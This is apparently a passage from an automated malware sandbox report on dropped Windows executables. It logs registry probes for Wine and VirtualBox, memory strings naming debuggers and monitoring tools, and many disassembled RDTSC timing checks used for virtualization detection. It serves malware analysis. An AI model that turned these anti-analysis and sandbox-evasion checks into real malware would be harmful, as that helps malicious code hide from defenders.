Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: PROCMON.EXE
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: X64DBG.EXE
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WINDBG.EXE
Source: f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\*RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX*.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: WIRESHARK.EXE
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: C3EA61 second address: C3EA65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC4936 second address: DC499F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FA458503DFCh 0x0000000f jmp 00007FA458503E04h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA458503E08h 0x0000001d jmp 00007FA458503E05h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC499F second address: DC49A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC3EEA second address: DC3EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5D1C second address: DC5D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5D20 second address: DC5D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5D26 second address: DC5D51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC473Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA458BC4747h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5D51 second address: DC5D72 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push esi 0x0000000d jng 00007FA458503DF6h 0x00000013 pop esi 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push esi 0x00000018 pop esi 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5EDF second address: DC5EE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5EE5 second address: DC5EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5FCE second address: DC5FE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4744h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DC5FE6 second address: DC6069 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458503E04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 18FEA392h 0x00000010 mov dword ptr [ebp+122D19FEh], edi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FA458503DF8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 jmp 00007FA458503DFFh 0x00000037 sbb edi, 1FCAFF7Ch 0x0000003d push 00000000h 0x0000003f xor ecx, dword ptr [ebp+122D391Fh] 0x00000045 push 00000003h 0x00000047 mov edi, ebx 0x00000049 push 66A998E0h 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007FA458503E02h 0x00000055 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DABD92 second address: DABDBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4747h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007FA458BC473Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DABDBE second address: DABDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA458503DF6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE6DB9 second address: DE6DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE6DBF second address: DE6DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE6DC3 second address: DE6DC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE6DC7 second address: DE6DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA458503DF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA458503E06h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE6DED second address: DE6DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE73FF second address: DE7403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7403 second address: DE740D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE740D second address: DE7411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7411 second address: DE741B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE741B second address: DE742F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FA458503DF6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE75A3 second address: DE75F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA458BC473Dh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FA458BC4740h 0x00000013 ja 00007FA458BC4736h 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f ja 00007FA458BC4736h 0x00000025 jmp 00007FA458BC4746h 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE75F1 second address: DE75F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE75F7 second address: DE761A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FA458BC4736h 0x0000000a jmp 00007FA458BC4749h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE778A second address: DE77A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA458503E05h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE795B second address: DE798F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FA458BC4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA458BC473Fh 0x00000011 push edi 0x00000012 jmp 00007FA458BC4746h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7B1C second address: DE7B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7B20 second address: DE7B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA458BC4736h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7B2C second address: DE7B31 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7C99 second address: DE7CB3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA458BC4740h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7CB3 second address: DE7CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7DDF second address: DE7DFD instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA458BC4750h 0x00000008 jmp 00007FA458BC4744h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DDC758 second address: DDC760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DDC760 second address: DDC769 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DBE4D8 second address: DBE4ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA458503DF6h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c jp 00007FA458503DF6h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DBE4ED second address: DBE4F2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DBE4F2 second address: DBE4F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7F4B second address: DE7F5C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA458BC473Ch 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7F5C second address: DE7F6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jne 00007FA458503DFCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7F6C second address: DE7F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE7F74 second address: DE7F7E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA458503DF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE8C49 second address: DE8C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007FA458BC473Ch 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DE8C65 second address: DE8C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FA458503E04h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DB0D9A second address: DB0DF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FA458BC4749h 0x0000000c jmp 00007FA458BC4743h 0x00000011 jns 00007FA458BC473Ch 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007FA458BC4742h 0x0000001f jns 00007FA458BC4736h 0x00000025 popad 0x00000026 popad 0x00000027 push edx 0x00000028 jne 00007FA458BC4742h 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DB0DF8 second address: DB0DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEF55C second address: DEF560 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEF986 second address: DEF990 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEFAFA second address: DEFB00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEFB00 second address: DEFB12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FA458503DF6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEFB12 second address: DEFB40 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA458BC4736h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FA458BC4744h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007FA458BC4736h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEFB40 second address: DEFB54 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA458503DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEFB54 second address: DEFB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DEEAF6 second address: DEEAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF2BEA second address: DF2BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF2F32 second address: DF2F50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FA458503E04h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF2F50 second address: DF2F6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA458BC4743h 0x00000007 jno 00007FA458BC4736h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF30D9 second address: DF3103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA458503DF6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007FA458503E04h 0x00000011 popad 0x00000012 popad 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF62C4 second address: DF62C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF62C8 second address: DF62CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF6382 second address: DF6388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE RDTSC instruction interceptor: First address: DF6F5A second address: DF6F60 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
